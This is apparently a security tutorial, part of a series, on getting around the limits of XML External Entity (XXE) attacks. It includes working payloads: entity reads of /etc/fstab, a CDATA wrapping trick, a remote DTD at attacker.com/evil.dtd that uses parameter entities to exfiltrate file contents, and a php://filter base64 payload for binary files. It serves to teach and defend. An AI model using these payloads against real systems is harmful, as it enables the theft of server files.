This article, Part 2 in this series on XML External Entity (XXE), explores the limitations and workarounds.

XML External Entity (XXE) is a very convenient vulnerability for an attacker to exploit, however, there are cases where obtaining certain files may be difficult. The following is one such example.

Request

POST http://example.com/xml HTTP/1.1

<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY bar SYSTEM
  "file:///etc/fstab">;
]>
<foo>
  &bar;
</foo>

Response

HTTP/1.0 500 Internal Server Error

File "file:///etc/fstab", line 3
lxml.etree.XMLSyntaxError: Specification mandate value for attribute system, line 3, column 15...

/etc/fstab is a file which contains some characters that look like XML (even though they’re not XML). This will cause the XML parser to try and parse these elements, only to notice that it’s not a valid XML document.

Therefore, this limits XML External Entity (XXE) in the following ways:

• XXE can only be used to obtain files or responses that contain “valid” XML.
• XXE cannot be used to obtain binary files.

XML External Entities (XXE) Limitation Workarounds

An attacker may be able to work around the above limitations by using a few clever tricks. The primary problem an attacker faces with an XML External Entity (XXE) attack is that it’s easy to hit a brick wall when trying to exfiltrate plain text files that are not valid XML files (e.g. files that contain XML special characters such as &, < and >).

The Theoretical Workaround

XML already has a workaround for this problem since there are legitimate cases where one may need to store XML special characters in XML files. Special XML characters in CDATA (Character Data) tags are ignored by the XML parser.

<data><![CDATA[ < " ' & > characters are ok in here ]]></data>

Therefore, in theory, an attacker could send a request similar to the following.

Request

POST http://example.com/xml HTTP/1.1

<!DOCTYPE data [
  <!ENTITY start "<![CDATA[">
  <!ENTITY file SYSTEM 
"file:///etc/fstab">
  <!ENTITY end "]]>">
  <!ENTITY all "&start;&file;&end;">
]>
<data>&all;</data>

Expected Response

HTTP/1.0 200 OK

# /etc/fstab: static file system informa...
#
# <file system> <mount point> <type> ...
proc  /proc  proc  defaults  0  0
# /dev/sda5
UUID=be35a709-c787-4198-a903-d5fdc80ab2f... # /dev/sda6
UUID=cee15eca-5b2e-48ad-9735-eae5ac14bc9...

/dev/scd0  /media/cdrom0  udf,iso9660 ...

However, it turns out, this will not actually work because it is not permitted by the XML specification to include external entities in combination with internal entities.

Parameter Entities

Attackers, however, still have a final card they can play – Parameter Entities.

In addition to general entities, which is what we’ve been looking at so far, there are also parameter entities. Parameter entities are just like regular entities but only for use in Data Type Definitions (DTDs). For more about DTDs, refer to the previous article in this series.

The following is what a parameter entity looks like. It’s the same as a general entity, except that it exists inside of the DTD and starts with a % as a prefix to instruct the XML parser that a parameter entity (not a general entity) is being defined. In the example below, a parameter entity is being used to define a general entity, which is then being called inside of the XML document.

Request

POST http://example.com/xml HTTP/1.1

<!DOCTYPE data [
  <!ENTITY % paramEntity
  "<!ENTITY genEntity 'bar'>">
  %paramEntity;
]>
<data>&genEntity;</data>

Expected Response

HTTP/1.0 200 OK

bar

With the above example in mind, an attacker can now take the theoretical CDATA example above and turn it into a working attack by creating a malicious DTD hosted on attacker.com/evil.dtd.

Request 

POST http://example.com/xml HTTP/1.1

<!DOCTYPE data [
  <!ENTITY % dtd SYSTEM
  "http://attacker.com/evil.dtd">
  %dtd;
  %all;
]>
<data>&fileContents;</data>

Attacker DTD (attacker.com/evil.dtd)

<!ENTITY % file SYSTEM "file:///etc/fstab">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">

When an attacker sends the above request, the XML parser will first attempt to process the %dtd parameter entity by making a request to http://attacker.com/evil.dtd.

Once the attacker’s DTD has been downloaded, the XML parser will load the %file parameter entity (from evil.dtd), which in this case is /etc/fstab. It will then wrap the contents of the file in <![CDATA[ ]]> tags using the %start and %end parameter entities respectively, and stores them in yet another parameter entity called %all.

The heart of the trick is that %all creates a general entity called &fileContents;, which, can be included as part of the response back to the attacker.

Note – keep in mind that an attacker can only use parameter entities inside of the DTD, and not inside of the XML document.

The result is a response back to the attacker with the contents of the file (/etc/fstab) wrapped in CDATA tags.

PHP Protocol Wrappers

In cases where the web application vulnerable to XML External Entity (XXE) is a PHP application, some new vectors open up in terms of what an attacker can do, thanks to PHP protocol wrappers. PHP protocol wrappers are I/O streams that allow access to PHP’s own input and output streams.

An attacker can use the php://filter protocol wrapper to Base64 encode the contents of a file. Since Base64 would always be treated as “valid” XML, an attacker can simply encode files on the server, and then decode them on the receiving end. Additionally, this method also has the added benefit of allowing an attacker to steal binary files.

Request

POST http://example.com/xml.php HTTP/1.1

<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY bar SYSTEM
  "php://filter/read=convert.base64-encode/resource=/etc/fstab">
]>
<foo>
  &bar;
</foo>

Response

HTTP/1.0 200 OK

IyAvZXRjL2ZzdGFiOiBzdGF0aWMgZmlsZSBzeXN0ZW0gaW5mb3JtYXRpb24uDQojDQojIDxmaWxlIHN5c3RlbT4gPG1vdW50IHBvaW50PiAgIDx0eXBlPiAgPG9wdGlvbnM+ICAgICAgIDxkdW1wPiAgPHBhc3M+DQoNCnByb2MgIC9wcm9jICBwcm9jICBkZWZhdWx0cyAgMCAgMA0KIyAvZGV2L3NkYTUNClVVSUQ9YmUzNWE3MDktYzc4Ny00MTk4LWE5MDMtZDVmZGM4MGFiMmY4ICAvICBleHQzICByZWxhdGltZSxlcnJvcnM9cmVtb3VudC1ybyAgMCAgMQ0KIyAvZGV2L3NkYTYNClVVSUQ9Y2VlMTVlY2EtNWIyZS00OGFkLTk3MzUtZWFlNWFjMTRiYzkwICBub25lICBzd2...